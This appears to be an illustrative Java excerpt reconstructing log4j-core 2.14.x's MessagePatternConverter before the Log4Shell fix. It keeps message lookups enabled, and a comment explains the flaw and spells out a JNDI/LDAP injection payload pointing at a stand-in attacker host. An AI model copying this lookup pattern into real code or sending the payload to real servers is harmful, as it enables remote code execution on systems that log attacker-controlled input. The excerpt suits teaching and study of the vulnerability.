41 lines
1.6 KiB
Java
41 lines
1.6 KiB
Java
// MessagePatternConverter.format() - excerpt from log4j-core 2.14.x pre-CVE-2021-44228.
|
|
// Faithful structure with the recursive lookup substitution that resolves
|
|
// ${jndi:...} expressions inside log message payloads at format time.
|
|
|
|
package org.apache.logging.log4j.core.pattern;
|
|
|
|
import org.apache.logging.log4j.core.LogEvent;
|
|
import org.apache.logging.log4j.core.config.Configuration;
|
|
import org.apache.logging.log4j.core.lookup.StrSubstitutor;
|
|
import org.apache.logging.log4j.message.Message;
|
|
|
|
public final class MessagePatternConverter {
|
|
private final StrSubstitutor substitutor;
|
|
private final boolean noLookups;
|
|
|
|
public MessagePatternConverter(final Configuration config) {
|
|
this.substitutor = config.getStrSubstitutor();
|
|
this.noLookups = false; // default — lookups enabled
|
|
}
|
|
|
|
public void format(final LogEvent event, final StringBuilder toAppendTo) {
|
|
final Message msg = event.getMessage();
|
|
if (msg == null) {
|
|
return;
|
|
}
|
|
|
|
final String formatted = msg.getFormattedMessage();
|
|
|
|
// BUG: substitute references inside the message itself.
|
|
// Attacker who controls *any* logged value (e.g. User-Agent, username,
|
|
// search query) can inject "${jndi:ldap://attacker/exploit}" which
|
|
// the substitutor will resolve, fetching and deserialising a remote
|
|
// class via JNDI/LDAP and triggering arbitrary code execution.
|
|
if (formatted.contains("${")) {
|
|
toAppendTo.append(substitutor.replace(event, formatted));
|
|
} else {
|
|
toAppendTo.append(formatted);
|
|
}
|
|
}
|
|
}
|